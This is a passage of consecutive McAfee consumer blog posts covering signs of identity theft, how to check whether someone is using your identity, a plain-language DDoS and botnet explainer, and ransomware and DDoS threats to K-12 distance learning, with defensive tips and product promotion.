Also, be aware that the IRS has specific guidelines as to how and when they will contact you. As a rule, they will most likely contact you via physical mail delivered by the U.S. Postal Service. (They won’t call or apply harassing pressure tactics—only scammers do that.) Identity-based tax scams are a topic all of their own, and for more on it, you can check out this article on tax scams and how to avoid them.
Another downside of identity theft is that it can mark the start of a long, drawn-out affair. One instance of theft can possibly lead to another, so even what may appear to be an isolated bad charge on your credit card calls for keeping an eye on your identity. Many of the tools you would use up to this point still apply, such as checking up on your credit reports, maintaining fraud alerts as needed, and reviewing your accounts closely.
With all the time we spend online as we bank, shop, and simply surf, we create and share all kinds of personal information—information that can get collected and even stolen. The good news is that you can prevent theft and fraud with online protection software, such as McAfee+ Ultimate.
With McAfee+ Ultimate you can:
In all, it’s our most comprehensive privacy, identity, and device protection plan, built for a time when we rely so heavily on the internet to go about our day, whether that’s work, play, or simply getting things done.
Realizing that you’ve become a victim of identity theft carries plenty of emotion with it, which is understandable—the thief has stolen a part of you to get at your money, information, and even reputation. Once that initial rush of anger and surprise has passed, it’s time to get clinical and get busy. Think like a detective who’s building – and closing – a case. That’s exactly what you’re doing. Follow the steps, document each one, and build up your case file as you need. Staying cool, organized, and ready with an answer for any questions you’ll face in the process of restoring your identity will help you see things through.
Once again, this is a good reminder that vigilance is the best defense against identity theft from happening in the first place. While there’s no absolute, sure-fire protection against it, there are several things you can do to lower the odds in your favor. And at the top of the list is keeping consistent tabs on what’s happening across your credit reports and accounts.
The post Top Signs of Identity Theft appeared first on McAfee Blog.
A good time to check if someone is using your identity is before it even happens.
One of identity theft’s several downsides is how people discover they’ve become a victim in the first place—by surprise. They go to rent an apartment, open a line of credit, or apply for financing, only to discover that their finances or reputation has taken a hit because of identity thief.
And those hits add up, particularly when you look at the dollars involved. In 2020, the Federal Trade Commission (FTC) reported $3.3 billion in financial losses from 4.7 million reported cases of fraud, a 45% increase over the year prior. Of those reports, identity theft was the leading fraud category, accounting for 29% of fraud incidents.
Plenty. Depending on the type and amount of information an identity thief gets their hands on, they can harm your finances and reputation in several ways, including:
Rather than ending up with a rude and potentially costly surprise of your own, you can get ahead of thieves by checking to see if someone is using your identity before it’s a problem or before it really takes root.
Major data breaches that expose personal information seem to hit the headlines with some regularity, not to mention the many, many more that don’t get national or international press coverage. Most recently we have the Neiman Marcus breach, where this major retailer alerted 4.6 million customers that “an unauthorized party obtained personal information associated with certain Neiman Marcus customers’ online accounts.”
And as it is with many such breaches, it took quite some time before the theft of information was discovered. Per Neiman Marcus, it’s believed that the breach occurred in May 2020 and only discovered in September of 2021. Potentially compromised information included:
Whether or not you have reason to suspect that your information got caught up in this recent large-scale breach, it serves as a good reminder that any time is the right time to check up on your identity. Acting now can save headaches, potentially big headaches, later.
Quite a bit of identity theft prevention begins with taking stock of the accounts and services you have in your name. This ranges anywhere from bank accounts to public utilities and from credit cards to loans, all of which contain varying degrees of personal information about you. With a sense of where your personal identity is being used, you can better look for instances where it’s being misused.
Ways you can spot for possible identity theft include:
If you stop receiving a bill that normally comes to you, such as a utility bill or for a department store credit card, that could be a sign that a thief has changed the mailing address and has potentially hijacked your identity.
This is rather straightforward, yet it reminds us how important it is to look at our statements closely. Charges that you didn’t ring up or that seem slightly higher than normal are a surefire sign that you should follow up with the bank or company involved and let them know of possible fraud.
In the U.S., you have annual access to free credit reports from the major credit reporting agencies. Not only will this give you a sense of your credit score, but it will also show the credit that’s open in your name, along with addresses associated with your identity. Spotting an account that you haven’t signed up for or seeing an address of a residence that you’re not renting are other common signs that your identity may have been compromised.
With the number of accounts many of us have these days, a credit monitoring service can help you stay on top of what’s happening in your name. Often offered through banks, credit unions, and even insurance providers, credit monitoring can alert you in several instances, including:
Overall, credit monitoring can act as another set of eyes for you and spot potential identity issues. Different services provide different levels of monitoring, so consider reviewing a few options to find the one that works best for you.
One like our own Identity Protection Service will monitor several types of personally identifiable information, alert you of potentially stolen personal info, and offer guided help to neutralize the threat—in addition to offering several preventative steps to help keep theft from happening in the first place. With this set up on your computers and smartphone you can stay in the know and address issues immediately.
Along with keeping an eye on what’s happening with your identity online and elsewhere, there are a few more things you can do to make it tougher for thieves to steal your identity.
Given all the banking and shopping we do on our computers and phones, installing and using comprehensive online protection software is a must these days. It puts several layers of security in place, such as creating complex passwords automatically, shielding credit card info from prying eyes, and protecting your privacy and data online by connecting with a VPN. In short, online protection software acts as a solid first line of defense.
As mentioned above, comprehensive online protection software often includes a password manager that can generate strong, unique passwords for each of your accounts and remember them for you. It’s extra protection that makes life a lot easier for you by managing all the accounts you’re juggling. Also, use MFA (multi-factor authentication) on the accounts that give you the option, which makes it harder for a thief to crack your accounts with a password alone.
Sensitive documents come in all forms. Top-of-the-line examples include things like tax returns, bank statements, and financial records. Yet there are also things like your phone and utility bills, statements from your doctor’s office, and offers that come to you via mail. Together, these things can contain personal information such as account numbers, your full Social Security Number, the last four digits of your Social Security Number (which can still be useful to thieves), and other information that may uniquely identify you. You’ll want to dispose of sensitive documents like these so that they can’t be harvested by hackers.
For physical documents, consider the low-cost investment of a paper shredder to help ensure they don’t fall into the wrong hands when you are done with them. (And let’s face it, they’re fun to use!) For digital documents, simply deleting a file is not enough – online protection software is a great resource that often includes a digital document shredder, designed to render the data practically unusable when you’re ready to trash the file.
Your Social Security Number is one of the most prized possessions a thief can run away with because it is so closely associated with you and things like your tax returns, employment, and so on. Keep it stored in a safe location rather than on your person or in your wallet. Likewise, be careful about giving out your SSN. While organizations like the IRS, your bank, and employer require it, there are other organizations who do not—but may ask for it anyway. (Doctor’s offices are a prime example.) If you get such a request, ask them what they intend to use it for and then ask if another form of identification will work instead.
Phishing attacks are one of the primary ways identity thieves steal personal information. Whether they come via a direct message, on social media, or through email, text, or phone calls, thieves use them to harvest your personal info by posing as a legitimate organization—such as in this recent IRS phishing scam. Phishing is a topic all unto itself, and you can check out this quick read to see how you can spot phishing scams and protect yourself from them.
Like any criminal, identity thieves do their dirtiest work in the shadows—quietly stealing money under your nose, or worse, as we outlined above. By shining a light on your identity and keeping regular track of what’s happening with it, you can spot unusual activity right away. Even the small stuff is important. A co-worker of mine once saw an incorrect address listed on his credit report. Turned out, that address was used to rack up several large charges at a retailer, which he was able to fix with the aid of the credit reporting agency and the retailer in question.
No doubt about it. Identity theft is indeed on the rise, and your best bet to avoid such a nasty surprise is to keep an eye on your digital identity the same way you keep an eye on your actual wallet.
The post How to Check if Someone is Using Your Identity appeared first on McAfee Blog.
Imagine you’re driving down a highway to get to work. There are other cars on the road, but by and large everyone is moving smoothly at a crisp, legal speed limit. Then, as you approach an entry ramp, more cars join. And then more, and more, and more until all of the sudden traffic has slowed to a crawl. This illustrates a DDoS attack.
DDoS stands for Distributed Denial of Service, and it’s a method where cybercriminals flood a network with so much malicious traffic that it cannot operate or communicate as it normally would. This causes the site’s normal traffic, also known as legitimate packets, to come to a halt. DDoS is a simple, effective and powerful technique that’s fueled by insecure devices and poor digital habits. Luckily, with a few easy tweaks to your everyday habits, you can safeguard your personal devices against DDoS attacks.
The expansion of 5G, proliferation of IoT and smart devices, and shift of more industries moving their operations online have presented new opportunities for DDoS attacks. Cybercriminals are taking advantage, and 2020 saw two of the largest DDoS offensives ever recorded. In 2020, ambitious attacks were launched on Amazon and Google. There is no target too big for cybercriminals.
DDoS attacks are one of the more troubling areas in cybersecurity, because they’re incredibly difficult to prevent and mitigate.. Preventing these attacks is particularly difficult because malicious traffic isn’t coming from a single source. There are an estimated 12.5 million devices that are vulnerable to being recruited by a DDoS attacker.
DDoS attacks are fairly simple to create. All it takes are two devices that coordinate to send fake traffic to a server or website. That’s it. Your laptop and your phone, for example, could be programmed to form their own DDoS network (sometimes referred to as a botnet, more below). However, even if two devices dedicate all of their processing power in an attack, it still isn’t enough to take down a website or server. Hundreds and thousands of coordinated devices are required to take down an entire service provider.
To amass a network of that size, cybercriminals create what’s known as a “botnet,” a network of compromised devices that coordinate to achieve a particular task. Botnets don’t always have to be used in a DDoS attack, nor does a DDoS have to have a botnet to work, but more often than not they go together like Bonnie and Clyde. Cybercriminals create botnets through fairly typical means: tricking people into downloading malicious files and spreading malware.
But malware isn’t the only means of recruiting devices. Because a good deal of companies and consumers practice poor password habits, malicious actors can scan the internet for connected devices with known factory credentials or easy-to-guess passwords (“password,” for example). Once logged in, cybercriminals can easily infect and recruit the device into their cyber army.
These recruited cyber armies can lie dormant until they’re given orders. This is where a specialized server called a command and control server (typically abbreviated as a “C2”) comes into play. When instructed, cybercriminals will order a C2 server to issue instructions to compromised devices. Those devices will then use a portion of their processing power to send fake traffic to a targeted server or website and, voila! That’s how a DDoS attack is launched.
DDoS attacks are usually successful because of their distributed nature, and the difficulty in discerning between legitimate users and fake traffic. They do not, however, constitute a breach. This is because DDoS attacks overwhelm a target to knock it offline — not to steal from it. Usually DDoS attacks will be deployed as a means of retaliation against a company or service, often for political reasons. Sometimes, however, cybercriminals will use DDoS attacks as a smokescreen for more serious compromises that may eventually lead to a full-blown breach.
DDoS attacks are only possible because devices can be easily compromised. Here are three ways you can prevent your devices from participating in a DDoS attack:
Now that you know what a DDoS attack is and how to protect against it, you’re better equipped to keep your personal devices and safe and secure.
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The holidays have come and gone, and students returned to the virtual classroom. But according to the FBI, cyberattacks are likely to disrupt online learning in the new year. As of December 2020, the FBI, Cybersecurity and Infrastructure Security Agency (CISA), and MS-ISAC continue to receive reports from K-12 educational institutions about the disruptions caused by cyberthreats, primarily ransomware and Distributed Denial of Service (DDoS). To protect their education and digital lives, distance learners will need to stay vigilant when it comes to ransomware and DDoS attacks. Let’s dive into the impact these threats have on the K-12 education system now that more people are plugged in as a result of distance learning.
Of all the attacks plaguing K-12 schools this year, ransomware has been a particularly aggressive threat. Ransomware attacks typically block access to a computer system or files until the victim pays a certain amount of money or “ransom.” The FBI and the CISA issued a warning that showed a nearly 30% increase in ransomware attacks against schools. In August and September, 57% of ransomware incidents involved K-12 schools, compared to 28% of all reported ransomware incidents from January through July. And it’s unlikely that hackers will let up anytime soon. Baltimore County’s school system was recently shut down by a ransomware attack that hit all of its network systems and closed schools for several days for about 111,000 students. It wasn’t until last week that school officials could finally regain access to files they feared were lost forever, including student transcripts, first-quarter grades, and vital records for children in special education programs.
According to to ZDNet, the five most active ransomware groups targeting K-12 schools are Ryuk, Maze, Nefilim, AKO, and Sodinokibi/REvil. Furthermore, all five of these ransomware families are known to run “leak sites,” where they dump data from victims who don’t pay the ransom. This creates a particularly dangerous problem of having student data published online. To prevent distance learning disruption, students and educators need to understand the effects of ransomware on school systems and take steps to prevent the damage caused by this threat.
An increase in ransomware attacks isn’t the only problem that K-12 schools are facing. The CISA and the FBI warned those participating in distance learning to protect themselves against other forms of cyberattacks such as Distributed Denial of Service (DDoS). DDoS is a method where hackers flood a network with so much traffic that it cannot operate or communicate as it normally would.
According to Dark Reading, Miami-Dade County Public Schools experienced significant disruptions during their first three days of distance learning for the 2020-2021 school year, thanks to a series of DDoS attacks. The school system stated it had already experienced more than a dozen DDoS attacks since the start of the school year. Sandwich Public Schools in Massachusetts were also knocked offline by a DDoS attack. When school systems fall victim to DDoS attacks, students can lose access to essential documents, files, or online platforms that they need to complete assignments. And with many students relying heavily on distance learning systems, losing access could put them behind.
In an effort to create a standardized framework for dealing with ransomware attacks across verticals – including education – McAfee has teamed up with Microsoft to lead the Ransomware Task Force, along with 17 other security firms, tech companies, and non-profits. And while we’re taking critical actions to decrease the threat of ransomware attacks, there are other steps you can take to prevent ransomware and DDoS attacks from interrupting your distance learning experience. Follow these tips to take charge of your education and live your digital life free from worry:
Many ransom notes seem convincing, and many only request small, seemingly doable amounts of money. Nevertheless, you should never pay the ransom. Paying does not promise you’ll get your information back, and many victims often don’t. So, no matter how desperate you are for your files, hold off on paying up.
With ransomware attacks locking away crucial data, it’s important to back up your files on all your machines. If a device becomes infected with ransomware, there’s no promise you’ll get that data back. Ensure you cover all your bases and have your data stored on an external hard drive or in the cloud.
Use decryption tools
No More Ransom – an initiative that teams up security firms, including McAfee, and law enforcement – provides tools to free your data, each tailored for a specific type of ransomware. If your device gets held for ransom, start by researching what type of ransomware it is. Then, check out No More Ransom’s decryption tools and see if one is available for your specific strain.
Your Wi-Fi router is the gateway to your network. Secure it by changing the default password. If you aren’t sure how to do this, consult the internet for instructions on how to do it for your specific make and model, or call the manufacturer. Solutions like McAfee Secure Home Platform, which is embedded within select routers, can help you easily manage and protect your network from DDoS attacks and more.
A lot of internet of things (IoT) devices come with default usernames and passwords. After taking your IoT device out of the box, the first thing you should do is change those default credentials. If you’re unsure of how to change the default setting on your IoT device, refer to setup instructions or do a bit of research online.
To stay updated on all things McAfee and on top of the latest consumer and mobile security threats, follow @McAfee_Home on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.
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